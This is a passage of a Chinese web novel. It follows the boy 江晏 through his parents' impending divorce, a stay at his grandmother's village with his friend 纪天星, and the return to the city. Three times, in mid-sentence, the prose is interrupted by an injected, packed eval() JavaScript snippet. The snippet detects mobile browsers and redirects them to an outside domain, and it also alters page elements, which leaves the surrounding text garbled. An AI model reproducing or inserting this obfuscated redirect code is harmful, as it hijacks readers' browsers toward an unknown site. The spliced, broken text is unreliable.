这一次是谢小芸要离婚,被丈夫打进了医院。而江显声看上去也下定了某种决心。他最后撂下一句:“能过过,不能过就离,我都候着。”然后一甩手走了,走的时候从江晏身边经过,看都没看儿子一眼。 一场大战,就这样雷声大雨点小的结束了。 金宝珍怔然半晌,突然冲江晏发了火:“你就像个木头似的杵着,都不知道说句话的?我养你到底有什么用?”然后她又一次嚎啕大哭——这一次是真的涕泪滂沱,并非虚张声势了。 江晏站在那儿,感觉好像自己又并不在那儿,一切都离他挺远的,他是个旁观者,是团空气,静静地看着金宝珍哭嚎,看着周围一圈儿各怀心思的人在那儿七嘴八舌地乱出主意。 最后金宝珍不哭了,她恶狠狠地一抹眼泪,对江晏道:“回家!”然后把众人全丢下,风风火火地拽着江晏走了。 出了医院,她直接打了个车回家,开始收拾衣服,一边收拾一边破口大骂,主旨就一个:日子不过了。 什么店铺,什么生意,什么顾客什么供货商,统统不管了。她要撂挑子! 江晏看了她一会儿,长长叹了口气,拎着书包去卧室,又一次把那些证件和存折往书包里装。 没想到金宝珍停了下来:“你干什么?” “你俩既然不过了。”江晏冷静道:“钱什么的肯定得带走。” 金宝珍恨声道:“我连他的人都留不住,要钱要物的还有什么用?想起来就恶心!”说完又开始哭:“我怎么命这么苦,拼死拼活这些年……” 江晏动作不停:“人已经没了,钱不能再没了,不然就是人财两空了……” 没想到金宝珍听了这话,却突然发起怒来:“我算看出来了,你和你爹一个德行!你们都没有心!” 江晏疲惫地停下:“那你想好了,不拿了?” 金宝珍又不说话了。 江晏等了一会儿,没等到她再发话,于是继续默默装东西。 金宝珍半晌才开口,幽幽道:“我俩离婚,你跟谁?” 江晏把书包拉起来,平静道:“你俩商量着定吧。” “什么叫我俩商量着定?”金宝珍提高了声音:“江晏,别学你爹那副死德行,给我个痛快话!” 江晏反问:“我说了,你们就按我说的来么?如果不是,你现在问我有什么用?” 金宝珍歇斯底里道:“反了天了你!老娘供你吃供你喝,连一句话都问不得了?问你什么就答什么,别给我扯那些废话!” 江晏沉默了一下,抬起头:“我能跟姥姥么?” 金宝珍愣住了:“什么玩意儿?” “跟姥姥姥爷。”江晏道:“回乡下去。” “你存心气死我是吧?”金宝珍难以理解,很快又勃然大怒:“你是不是不想上学?” “镇上也有中学。”江晏道。 “那是什么狗屁中学?”金宝珍道:“老娘拼死拼活挣这么多钱,是为了让自己儿子将来进工厂车间挨领班的骂么?” “你要是觉得镇上中学不好,那我跟奶奶也行。”江晏不为所动:“跟奶奶,就可以留在城里上学了。” 金宝珍看上去要气疯了:“那个一天到晚吃粮不管穿的老神婆?你跟了他,不就等于跟了江显声么?好啊,我就知道……打你从我肚皮里爬出来的,我就知道你从来都跟我不是一条心……” 她语无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472767|165850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伦次地骂江晏没有良心,说他像江显声一样冷肠冷肺,是个白眼狼。 江晏低下头整理自己的衣物,什么都没说。跟发疯的金宝珍没什么好说的,过了这阵子,她自己都不记得自己说过什么。她只是太需要一个发泄情绪的对象了。 很小的时候,在金宝珍发疯时,他还会摇摇晃晃地奔过去,说“妈妈,抱……” 但挨了几顿打之后他学聪明了。远远站着不说话是最稳妥的,毕竟说什么都没有用,他不是做决定的那个人。 金宝珍终于骂不动了,江晏也收拾好了行李,给她倒了一杯水,冷静道:“现在出门,还能赶上下午回金泉的那趟火车。” 金宝珍哑着嗓子:“你盼我和江显声离婚呢是吧?” 江晏反问道:“你不想离么?”他放下行李:“那就不离。都随你。” 金宝珍看了他一会儿,忽然站起来,抬手甩了江晏一巴掌。打完了,又捧起他的脸,掉下泪来,骂道:“你怎么长得那么像江显声……气死我了……” 江晏半边脸发麻发辣,忽然没头没脑地想起纪天星来。人看同一人,会看到不同的样子么?他飘忽地想。这可真怪。星星说我像你呢。 于是这话便也就顺着他的嘴说了出来:“我朋友说我长得像你。” 金宝珍摸了一把眼泪,放开了江晏:“走!回家!” 她说的回家,是回她的娘家。 火车太慢了。金宝珍等不及,出门带着江晏打了个出租。人家一听去金泉,有点犹豫。因为到那边时间会很晚,回来时天都黑了。这年头,在偏远的地方开车,是有风险的。但金宝珍出了三倍的价钱,还包了汽油钱,所以最终司机接下了这单。 入秋的北方,天色是很高远澄净的。车子驶出市区后,一路上意外地顺畅。 才三个小时不到,他就看到了姥姥家敞亮的大院子。 金宝珍才付了钱下车。姥姥叶淑贤就欢天喜地奔出来:“打老远儿看见小轿车我就觉得是你俩……” 金宝珍一头扎进叶淑贤怀里,哭得上气不接下气:“妈……” “咋了咋了?”叶淑贤慌了:“不哭不哭,我大闺女不哭,有妈呢……” “我爸养小三。”江晏提着行李在一旁道:“他俩要离婚。” “嗨,我当什么大事儿呢。”叶淑贤松了口气,拍了拍金宝珍道:“离他二大爷的。没了他还做不了槽子糕了?”又拧着眉毛冲院子里吼:“老蒯,死人啊?闺女也回来了!今天晚上再多做俩菜!” 江晏的姥爷金银生一边往围裙上擦手,一边小跑着走出来:“哎呀,今天是啥日子……怎么尽来且儿……” 金宝珍抽抽嗒嗒地抬起头:“我大哥回来了?” “哪儿啊。是家里一个亲戚回来,她家已经没人了,那房子也倒了不能住了,我说让在这边凑活几天。你可能不记得了,她小时候抱过你,百天的时候给你买过银锁片呢。” “谁呀?”金宝珍茫然道:“没印象了。” “你舅妈的妹妹,轮辈分,你得叫声小姨。”说完又叮嘱江晏:“你见了,得叫小姨姥姥。” 说着把人往屋里领。走到一半,一个端庄的老太太打起帘子,温声道:“姐,家里人回来了?” “我闺女带孩子回来了……来见见,这是你何姨……” 江晏停下了脚步:“何奶奶……” “不对,要叫小姨姥姥!”叶淑贤赶紧纠正。 话音未落,便见一个熟悉的小脑袋从何玉秋身后冒出来。看见江晏,他先是“咦?”了一声,紧接着就是眉开眼笑:“怎么是你?” “我也想问呢。”饶是满腹心事,江晏仍旧忍不住笑了。 “叫表弟!”叶淑贤又纠正。 “这是我朋友和我朋友的姥姥。”江晏正色道:“要么还是各论各的吧。” 16.秋老虎 2 主人家看上去有事,何玉秋不好留下跟着听,于是说了声要出门和亲戚打招呼,便带着纪天星离开了,留下叶淑贤一家人说话。 叶淑贤家挺大,光是前后院子就老大一片。前院铺了青色的透水砖,院中有东西两间房,进院左手边还有一间下房,下房前头也盖了仓房,里头整齐地码着比人还高的木柴和块煤——看上去够烧好几年的。房子维护得很好,看上去干净又敞亮。 江晏熟门熟路地进了东房的门。老黄狗喜乐从屋里跑出来,在他脚边绕了两圈儿。他伸手摸了摸狗头。灶台上两口大锅都占了,地上还有不少鸡毛——这是姥爷今天杀了只鸡迎客。他把行李提到后屋去放好,耳畔是金宝珍的哭诉和叶淑贤的安慰。 江显声的破事不是一天两天了。叶淑贤早就见怪不怪,只是心疼女儿,不免也跟着破口大骂几句。骂完了,又吵吵着让把几个儿子都喊起来,去揍江显声一顿给女儿出气。 江晏姥爷在灶台前,一边忙碌一边叹气:“揍他一顿倒是容易,往后可怎么整?” “过不下去就离呗。”叶淑贤盘腿坐在炕上,冷哼一声:“三条腿的蛤蟆不好找,两条腿的男人有的是。” “你说得轻巧。”金银生拿大勺在锅上磕了磕,转头问金宝珍:“别人说了都不算,那鞋合不合适只有脚知道,你自个儿咋想的?” 金宝珍不说话。 叶淑贤是个急脾气:“哎呀你这会儿又哑巴了。能过就过,过不下去就离呗。拿个主意有那么难?你不用担心没处去,爹妈都在呢,有你们娘儿俩住的地方。” “生意在一处。”金宝珍道:“再说了……我就是想不明白了,我到底哪儿比不上那个小狐狸精?” “你要是放不下,就逼他和那狐狸精断了……” “我看他断不了。” “那你就别跟他过了!”叶淑贤看上去也来了气:“又不是旧社会了,娶了大的又讨小,美得他……” “我不甘心。”金宝珍又哭了:“凭什么我给他们腾地方?” 屋里七嘴八舌的,江晏懒得听,抱起在他身边摇尾巴的喜乐,一个人从后门出去了。 屋后头是鸡棚和驴棚,还有老大一片菜园子。入秋了,菜园子里的菜还有老多没吃完,之前又被大雨浇过,这会儿看起来有点乱糟糟的。毛驴福子在菜地边上啃青草吃,看见江晏过来,昂起头叫了一声,又继续慢悠悠地啃它的草叶子了。 江晏搬了个小马扎坐了下来,摸着喜乐的狗头发呆。喜乐蜷在他大腿上,尾巴啪嗒啪嗒地慢慢摇。 入秋了,太阳再大,林场这里的风也是凉的。何况太阳已经往西边走了。远处矮矮的群山延绵着,绿色与墨色深深浅浅,望不到头。 江晏坐了一会儿,忽然想起纪天星出门前冲他笑,说回来就找他玩儿。他忍不住又开始羡慕他。什么烦恼好像在纪天星身上都留不住,这位小朋友怒完了笑,哭完了也笑,反正最后总是笑着的。江晏看见他笑,忍不住也想笑。可是笑完了转头想起金宝珍和江显声,又觉得好像自己确实很没有良心。 他长长地叹了口气,把喜乐抱开,从屋边找了个筐,拖进菜地摘菜去了。 天色擦黑的时候,金宝珍终于哭够了,和叶淑贤去村口小卖部给金宝河打电话,告诉他自己回娘家了,免得惦记。她二哥倒也没说什么,只是劝她在家好好住几天,思量思量。她又给自己闺蜜打电话,杨彩霞在电话那头说小三没什么大事,救回来了,但江显声鬼迷心窍的,估计是没救了,让她早做打算。 村里家家户户沾亲带故,彼此离得都不远。村头刮阵风,转眼就能到村尾。所以母子两个一路上都端着,做出没什么大事的样子。叶淑贤回来时把这些都学给金银生,让他在外头别乱说话。 江晏的姥爷摇摇头,没有评价,只是在炖着玉米排骨豆角的大锅外头又贴了一圈儿饼子。 然而左邻右舍还是过来了,打招呼,也打听事儿。因为叶淑贤家里今天实在是很不寻常,何家人都多少年不回村里了?那不得问问?有钱的女儿突然回娘家,是不是在丈夫那儿受了气? 乡下大抵就是这点不好,人情的网实在太紧密了。你过得不好呢,人家同情你,又瞧不起你。可你要是过得太好呢,人家表面上和你亲近,背地里却暗暗盼着你栽跟头。 叶淑贤堆起笑来敷衍一番,等人都走了,她转身翻了个大白眼。 到了家家灯亮的时候,何玉秋终于带着纪天星回来了。回来了也没空手,提着一箱牛奶和一箱易拉罐装的汽水。本村小卖部没这个,她这是去了邻村。 叶淑贤责怪她乱花钱,说她外道了。之前进门已经带了礼物,怎么又买?何玉秋笑着说给孩子买的,留着喝吧。于是叶淑贤就眉开眼笑地收了——本来就是客气一番的。 锅里的饭菜也好了,于是客人和主人凑在一块儿吃晚饭。农家的饭菜不比城里做得精细,好处是新鲜量大。烀茄子烀土豆烀南瓜,新摘的黄瓜大葱洋柿子,配一盆大酱。硬菜是小鸡炖蘑菇和玉米豆角烧排骨。所有的菜都用盆装着,旁边一个小柳筐,里头堆着玉米饼子。 江晏和纪天星挨在一处,给他夹小鸡炖蘑菇里的蘑菇。榛蘑样子不好看,但和鸡肉一起炖过后鲜美无比,甚至比鸡肉还要好吃得多。 纪天星美滋滋地就着大饼子吃蘑菇,一边吃,一边用很亮的眼睛在大人们身上望来望去。 金银生拿出了一瓶高粱酒,几个大人一人一个小酒盅,在那里慢慢喝酒说话。 说的无非就是这些年的事。何家已经没有什么人了,何玉秋的二哥老早就过世了,只留下了一个女儿,马上要嫁给隔壁村的一位小伙子——这也是她回来的原因,因为要参加喜宴。而何玉秋的大姐前些年也没了。大姐的儿女们都搬去了县城,和老家的亲戚们渐渐疏远了。 金泉原先是个大村子,紧挨着林场和金泉眼儿水库,有一百多户人家。这些年林场逐渐萧条,加上老人过世,年轻人离开,如今能不能凑够百户都不好说了。 单论资源来说,本地完全算得上富饶,人只要勤快肯干,日子是很丰足的。但这年头,年轻一代人对丰足的定义已经和从前不一样了。加之本地确实地处偏远,自然条件艰苦,所以年轻一代都渐渐寻求向外谋生了。 但房子和地还在,需要有个处置。老人留下的东西里,也有何玉秋一份。之前因为各种原因搁置着,如今最小的侄女也嫁人了,她也不年轻了,没办法再拖着了。所以她这次回来,也是要把这些事打理干净。 说起买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482765|165850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖之类的事,金宝珍来了几分精神。江晏看了她一会儿,拉着已经有点上下眼皮打架的纪天星下了炕。 大人们商量着大人们的事,小孩子坐在那儿实在没什么意思。他拿了两个温乎土豆和几块烀南瓜走了。 喜乐在炕下等很久了。江晏把土豆和南瓜掰碎放在它的小铁盆里,又从锅里捞了点菜汤和碎骨肉拌了进去。小狗摇着尾巴,在灶间低头猛吃起来。 纪天星和江晏一起托腮蹲着,好像又恢复了一点精神:“我可以摸摸它么?” “等它吃完吧。” “哦。”纪天星打了呵欠,靠在江晏身上:“这里好冷呀。” “乡下是要冷一些的。”江晏小声道:“没那么多高楼挡风。”他想了想:“你说要和姥姥出门几天,开学再回来。我还以为你要去看你妈妈呢。” “我妈在南方呢。”纪天星歪头看他,忽然伸手碰了碰他的脸:“你这里怎么有点肿了,是撞到那儿了么?” “算是吧。”江晏心说:撞金宝珍的巴掌上了。 但他不想和纪天星说这个:“你暑假作业写完了么?” 纪天星却好像很在意,他靠近江晏,轻轻在他脸上呼了呼。 秋初的夜晚有点凉,纪天星的气息却是热的,带着一点玉米饼子的味道,让人想起灶台前的热气。 江晏感觉心里有点暖:“不疼。” “你下次小心点儿啊。”纪天星道:“你不是挺灵活的么。” “嗯。”江晏笑了一下,没再说什么。 喜乐吃完了饭。江晏把它抱起来:“你要抱么?” “要!”纪天星立刻眉开眼笑地伸手。 江晏把老黄狗放到纪天星怀里。喜乐仰头张望纪天星,江晏把它的狗头往下摁了摁:“老实点儿,不许咬人。” 狗子不大情愿地趴了下去。纪天星伸手轻轻摸它。摸了好一会儿,忽然抬头,用很小的声音道:“阿姨怎么了?你们突然回来,是有事么?” “也没什么。”江晏平淡道:“可能要离婚吧。” “那你早点把要带走的东西收拾出来。”纪天星很认真地建议道:“不然就拿不回来了。我爸妈离婚那会儿,我就有好多东西没来得及带走。” 他说起这些时特别自然,又充满关切,像是在讲“如果菜凉了就不好吃了”一样。 江晏道:“你那时不难过么?” 纪天星想了想:“你说我爸么?他不要我,我也不要他,我们扯平了。没什么可难过的。”他严肃道:“我还有姥姥,有妈妈,他也没那么重要。” 江晏咂摸了一下纪天星话,忽然感到心里一沉。他尽可能想让自己听起来若无其事:“那……我……” “你也很重要。”纪天星警告道:“所以不许和我绝交。要是你像我爸那样和我绝交……我就再也不理你了!” “我不会。”江晏松了口气:“我又不是你爸。” 于是两个孩子又莫名高兴起来,在灶台前撸狗玩儿。江晏还承诺明天带纪天星骑小毛驴。 正小声说笑着,忽然喜乐的耳朵竖起来,汪汪叫了两声。 江晏站起来,向窗外望去,隔壁的狗叫声也传了过来,片刻后,他听见了大门被敲响的声音。 17.秋老虎 3 是村东头的一户人家来问有没有线香。叶淑贤和对方聊了几句,得知是家里小孩子夜惊,要借根香,绑了红线挂床头上,给孩子收惊。于是很快找出了几根香拿给对方。 邻居走了。大人们随口又聊了几句怪力乱神。这边稀奇古怪的事很多,但听得多了,好像又没什么奇怪的。 时间已经不早了,点灯也是要花钱的。饭吃得差不多,大人们收拾好东西,各自回屋休息了。 纪天星和姥姥借住在西屋,叶淑贤把他们送回去,回来又和金宝珍嘀咕起来。 江晏一个人在黑暗中躺着。窗外鸣虫的叫声不停,但没有夏夜那样聒噪了。更深的夜里隐隐传来孩子啼哭的动静。喜乐在窝里翻了个身。 明天会怎么样呢,后天呢,大后天呢。他来不及往深想,很快就睡着了。 在可以沉睡的夜晚,夜晚是非常短暂的。再睁开眼睛的时候,天已经亮了。 金宝珍还在睡。东房里没有人。江晏下炕绕了一大圈儿,意识到姥爷已经出门去了。姥姥正与何玉秋在西房在灶台前一边整理衣服一边说话,看见江晏过来,她往屋里一扬下巴:“和你何家弟弟吃饭去吧。” 纪天星正在炕上坐着啃大饼子,看见江晏,立刻手脚并用爬过来:“早上我去看你,你睡得可香呢!我就没喊你。” 太阳金灿灿地落在纪天星脸上,显得他的小脸也金灿灿的。江晏的心情一下子就亮起来了。他走到炕边洗了洗手,爬到炕桌前:“起晚了。” “不晚啊。”纪天星看了一眼墙上的钟:“现在才六点多。” “平时都五点半起的。”江晏很自然道。 纪天星的嘴巴张成了一个小圈,最后评价道:“你真勤快。” 江晏笑了一下。不管纪天星说什么,好像他总会忍不住笑一下。他拿了个饼子,就着鸡蛋水和昨天剩下的菜,吃起了早饭。 叶淑贤很快就擦着手进来了,她今天穿了一件粉红色的褂子,还画了眉毛,是要与何玉秋一起去参加喜宴——之所以这么早过去,是要帮主人家准备宴席。本地向来是这样的,一个村子里,谁家有事,大家都会过去帮个忙。她进来,是叮嘱江晏给金宝珍留饭,顺便再嘱咐点别的事。 两位长辈很快就走了。纪天星低下头,看上去有点失望。 “吃席很乱的。”江晏安慰道:“什么人都有。早去的都是亲戚,还得帮忙干不少活。再说也没什么稀奇,就是些大鱼大肉。咱们等会儿进山去吧,比那个有意思多了。” 纪天星终于露出了一点笑容:“好呀。” 江晏收拾好碗筷,回屋看了一眼,金宝珍睡得很熟,打着小呼噜。她回了家就是一位姑奶奶,睡到日上三竿也没人会说什么。 江晏看了她一会儿,实在想不通她在坚持些什么。江显声到底有什么好呢?他冷淡地想。江显声迷信,专制,吝啬,不讲道理,做起生意来精明而冷酷,对妻儿也就那样。硬要说好处,大概就是有钱而英俊。可金宝珍也并不缺钱。而江显声的英俊也并没有达到那种让人神魂颠倒的地步。 情啊爱啊之类的,说穿了不就是犯傻和发疯么?江晏想。不过,假如江显声没钱又丑,大概也没有眼下这些破事了。可见情爱之类的东西,许多时候不过是另外一些东西的幌子。 哪有什么真情,都是有所图。他这样想着,感到自己似乎清晰地看见了一种人生的真相,但这真相又好像有哪里不大能说服他。 比如小舅舅生来就残疾,十几岁就死了。姥姥姥爷吃苦受累,照顾他许多年,在他去世后还是伤心得不得了。这又是图什么呢? 所以世上也许大概确实有那么非常非常少的一些感情,确实没什么道理,也确实没所图。 那就是冤亲债主了。江晏想起奶奶的话,告诉自己,那只能归于“命”的范畴里,再疯再癫再不可理喻,也是正常的。 他在心底如此这般地思忖了一番,给金宝珍拉了拉被子,转身走了。 喜乐留下来看家,江晏从后院带着纪天星和毛驴福子出了门。 毛驴和小狗一样,年纪也不小了。纪天星骑了一会儿就跳下来,说怕福子累到了,还从兜里掏了胡萝卜喂它——那是早上吃饭的时候,他从炕桌上悄悄拿下来的。 江晏看着他的一举一动,觉得很有意思。纪天星明明这个也嫌弃,那个也嫌弃,和小动物玩儿的时候,倒好像都不嫌弃了。 人人都觉得纪天星脾气爆,事儿精,是个如假包换的小神经。这导致纪天星在学校里一直朋友寥寥。江晏都是知道的,可他看着他,觉得星星不和那些拿石头砸猫,用弹弓打鸟,骗狗吃粉笔灰的男生玩在一起,其实是非常理所当然的事情。 反正我的朋友也可以是他的朋友。江晏看着纪天星快乐的脸,悠然地想。哪怕现在不是,将来也会是。这样星星就不缺朋友了。 他们顺着田梗往前走,青天白日的,远远传来急促的铃鼓声,有人拖长了调子在唱什么,不管人声还是鼓声都极富穿透力,辽阔而幽咽地从田野间飞掠而过,回荡在初秋微凉的空气中。 纪天星竖着耳朵听了一会儿,疑惑道:“这是唱什么呢?不像是在唱歌啊……”他补充道:“真怪,大白天的,感觉他好像在唱夜晚的事儿。” “是跳大神的。”江晏向着声音的来处望了一眼,是昨晚来借线香的那一家人:“大概是线香收惊不管用,又请了出马的。” “什么是出马的?”纪天星好奇。 “就是……”江晏想了想:“看事儿的。” 纪天星似懂非懂:“哦。那会管用么?” “谁知道呢。”江晏摇头:“生病什么的还是得去医院吧。”他在庙里长大,有把迷信当事业的奶奶和经常给神仙送礼的爹,但对神鬼之类的事始终都是淡淡的。拜是拜的,敬也是敬的,只是从没向它们求过什么。纪天星什么都不求,他也是。说不清为什么。大概是因为早已习惯于什么都靠自己。 纪天星还在侧耳听那辨不分明唱词的神调。江晏拉了拉毛驴:“走吧,那个唱起来没完的。” 于是继续向前走。越过了田地,灌木开始渐渐多起来。平地也变成了上坡,他们这就是算是进山了。江晏让纪天星把衣服和裤子袖口用绳子扎紧,拉着他继续往前走去。 秋初的山林是很丰饶的。尤其这个时候,家家都在田地里忙,还没什么人进山。江晏像姥爷曾经带他进山时那样,带着纪天星低头辨认,这个是刺五加,那个是橡树子。当然这里最多的是椴树,立着的,也有朽烂倒下的。 椴树墩子上有许多木耳,地上还有许多榛蘑,都是左一丛又一丛的,密密麻麻地生长着。发现一棵生满榛蘑的朽树桩,蹲在那里摘上半天也摘不完。江晏从驴背上取了个筐下来,两个人蹲在那里捡蘑菇和木耳,不一会儿就捡了厚厚一筐底。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498442|165850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 纪天星低头摘蘑菇,很快乐道:“蘑菇王国!”过了一会儿发现一颗特别大的榛蘑,又道:“蘑菇国王!” 江晏闷头摘蘑菇,听着纪天星在寂静的林子里一个人快乐地嘀咕,嘴角翘起来。 他们捡完了一棵,又去找下一棵,偶尔还能从老树上摘下一种拳头大小的,毛茸茸的白蘑菇——那是猴头菇。猴头菇闻起来有股怪味,江晏不爱吃,但这东西据说拿到城郊的集市上,能卖出远比榛膜贵得多的价钱。 小山头不高,他们再往上走一走,顶上就没什么树了,倒是生着许多灌木。 江晏换了另一个大点的筐,把掉落的枯树枝都拾进去。柴火是时时都要捡的,因为每天做饭都得烧。 纪天星左顾右盼,在地上发现了一丛黑色的浆果,果实一串串的,像黑豆似的挂在那儿:“这是什么?” 江晏看了一眼:“是甜星星。” “怎么和我一个名字呢?”纪天星蹲下来:“能吃么?” “能是能的。”江晏说:“但只能吃熟的,生的——就是绿的那种,吃完了会肚子疼。”他拨开灌木,发现地上有老大一片,尝了一颗,味道清甜极了:“摘点回去,姥爷拿这个泡酒。” “好呀!” 于是两个人都蹲下来摘甜星星,果实不一会儿就把筐里的蘑菇盖住了。 这样东游西晃,太阳不知不觉就走到头顶了。 两个筐都满满的,孩子们牵着毛驴,顺着另一条路往山下走。山间有一条小溪,纪天星很欢喜地奔过去,想把甜星星拿去洗一下,被江晏眼疾手快地拽住了:“别用那个洗,有时候会拉肚子。” 他从驴背上摘下自己带的塑料桶,拿桶里的凉开水和纪天星洗了手和野果。 太阳把路旁的大石头晒得很暖。江晏找了个高处,拉着纪天星爬上去,两个人坐在石头上,纪天星捧着一把甜星星慢慢吃。从这个位置,能看见邻村的房子。 婚礼的鼓乐和鞭炮声遥遥传过来,人群像烟雾里的蚂蚁。 新娘是一个红色的小点儿,在人群中央,被簇拥着往院子里走。 纪天星抻着脑袋,试图辨认出姥姥是哪一个:“结婚可真热闹。” “热闹都是给别人看的。”江晏道:“你不知道婚礼有多麻烦。”他淡漠道:“其实想想看,也没什么意思。” 纪天星思索片刻,认真道:“你是觉得结了也要离,所以都是白忙,对么?” “算是吧。”江晏道:“仔细想想,人活着大概都是白忙,因为终归是要死的。” 他收回目光,在大石头上躺下来。婚礼不见了,视野里只剩下天上的云。 他躺了片刻,忽然一颗甜星星落在了嘴边。纪天星道:“张嘴。” 江晏张嘴吃了。 “甜么?”纪天星道。 “甜啊。”江晏有些困惑:“怎么了?” 纪天星在他身边趴下来,继续吃着手上的甜星星,没头没脑道:“也不白忙。你摘了果子,现在吃着甜,不就是不白忙么。” 江晏沉默片刻,翻身趴起来,从纪天星手上揪了一颗野果,塞进嘴里。这一颗也很甜。 纪天星没说话,只是轻轻用头撞了他一下。 太阳晒在背上暖哄哄的。江晏看着石头底下流过的溪水,闭上了眼睛。 好吧,他有些释然地想,至少这一刻确实算是不白忙。 18.秋老虎 4 对参加喜宴的人来说,别人结不结婚,从来都不是重点,重点是那顿席面。可惜叶淑贤自诩是体面人,何玉秋也斯文,所以从席面上带下来的,也就只有一点花花绿绿的糖果而已。主家自觉亏待了亲戚,散席后把灌多了没用上的血肠给她们拿了些,说是带回去吃个新鲜。 那是杀猪时才有的菜,确实平日里难得吃到。只可惜不是冬天,不然拿来炖上一锅酸菜,就很完美了。纪天星看起来有点失望。不过煮好的血肠蘸上蒜泥酱油调好的料碟,是很细滑美味的,所以他又理所当然地开心起来。江晏在一旁看得明白,觉得让纪天星高兴实在是件再容易不过的事——有好吃的就行了。 喜宴结束,何玉秋随了礼,也确认了家里的房子和地要怎么处理。她很快就把它们转让给了同村另一户人丁兴旺的人家。办完这些事,她没有理由继续逗留,隔天早上便带着纪天星回去了。 乡下秋收农忙,离江晏开学也不剩几天了。金宝珍等来等去,终究也没等到江显声的一个电话。倒是员工的电话先打了回来,嗫嚅着问老板娘工资什么时候能发。 金宝珍问完了情由,才知道江显声把账面上的现金都转走了。于是只能怒气冲冲又带着江晏杀回了城里。 家里冷冷清清,没什么被住过的痕迹。店还开着,运营正常,就是账上的现金所剩无几了。 她七窍生烟地给江显声打电话,那边一副好整以暇的样子,说你不是也把家里的存折房本都带走了么。 事已至此,拆伙似乎成了不可避免的事。然而江晏冷眼旁观,觉得金宝珍打从心眼儿里根本就不想离婚,而江显声对离婚的态度也很暧昧——他那位情人的婚一时半刻离不掉,所以他好像便也并不如何着急。 这大概是生意人身上的劣性,不见兔子不撒鹰。江晏觉得江显声应该是做了两手准备。谢小芸要是能离婚,江显声也就离了,离完了正好再娶。谢小芸要是离不了婚,他就继续和金宝珍这么凑合着——他吃准了金宝珍不想离婚。 仔细想想,江晏完全明白他的心思。做生意其实是很累的,从早到晚要忙。柔弱无助的谢小芸显然不会是个好的老板娘,江显声又不是傻的。 然而人真的能所有好处都占么?江晏很怀疑。夜里一个人躺在床上静静琢磨,江晏意识到江显声最先考虑的永远是他自己。若非如此,当年这位也不会丢下谢小芸不管。 爱是爱的,深情也是深情的,但究竟有多深,其实并不好说。江晏见惯了人间百态,很小的时候就已知道,一切关乎人性的事都不能往深处探究。 店铺的生意断不了,金宝珍不得不掏钱平账,把生意维持下去。而江显声也照旧联系客户发货进货——只是不跟金宝珍照面。照面就要动口又动手,生意还怎么做? 总之两个人就这样再度维持了一种诡异的平衡。 但是背地里当然谁都没有闲着。江显声似乎在买房子,而金宝珍忙着往江晏名下转移财产,大概是觉得万一真要离婚,孩子名下的财产不算夫妻共同财产。 即将劳燕分飞的两口子各怀心思地忙碌,亲戚们也闻风而动,都涌了过来。多年夫妻一体,拆伙没那么容易,何况这店面里头还有江显声几个兄弟的一小份——当初他们都投了钱,也就按比例人人都有点分红。当然江显声对亲兄弟也是一样的精明抠门,所以那分红多年来给的十分有限。 于是亲戚们各怀鬼胎地上门,半是劝说半是打探,想看看能不能借这个机会再捞点好处。 总而言之,没人真正关心两口子的感情问题,他们关心的都是钱。 而赵秀英听了儿子的事,照旧是一副摆手不管的样子。金宝珍不是没来找过她,她扯着嗓子说那可不关我的事,你们俩的事你们自己处理去——总之是一推六二五了,就像她当年面对谢小芸的事一样。属蛇可是委屈她了,江晏默默想,十二生肖里怎么就没有泥鳅呢。 总之江晏又成了个没人管的。他心里揣着沉甸甸的事,身上却算得上自在。上学,放学,有时候去武馆。但武馆现在麻烦起来,因为大师兄觉得散漫是种浪费,总想给他们这些做师弟的找活儿干——没报酬的那种。而庙里如今也不算什么好去处了,撵过人之后,那边管得严格起来,江晏去斋堂吃个饭,人家居然管他要证件。 不过也无所谓,他纵有可以去的地方。江晏朋友多,东一家西一家地晃悠,半个月下来都晃悠不完。发小们都很乐意留他吃饭和过夜,但一段时间下来,他发现自己最常去还是纪天星家。 沾亲带故这事儿,是麻烦,但有时候也有好处。比如他现在去纪天星家里,总比去别人家里多了那么一点理直气壮的意思——谁让纪天星也在他家里住过呢,姥姥家自然也算是他家嘛。 何玉秋去了趟乡下,请了许多天的假。是同事帮忙顶班的。人从乡下回来,自然就要陆续还这些班,中间别人有事,免不了也要帮忙替班——都是相互的。因为店里后厨就那么几个人,她虽是上早班,请的也是早班的假,但排来排去,还的大部分都是晚班。 安乐里虽然叫安乐里,毕竟大杂院儿居多,房屋杂,人也杂,所以治安也就那样。小偷天天都有,入室抢劫也屡见不鲜。 所以江晏在她不在家时能过来陪着纪天星,她是很乐意的。 纪天星倒没想这么多,他纯粹就是高兴。好朋友放学能和他一起回家,一起吃饭,一起写作业……没什么比这更让人开心的了。 他坐在江晏自行车后座上,一路顺着凉爽的晚风回家,去面当当买了馒头和大碴粥。现在他们是熟客了,所以女老板还额外送了一小袋辣白菜,没有收钱。 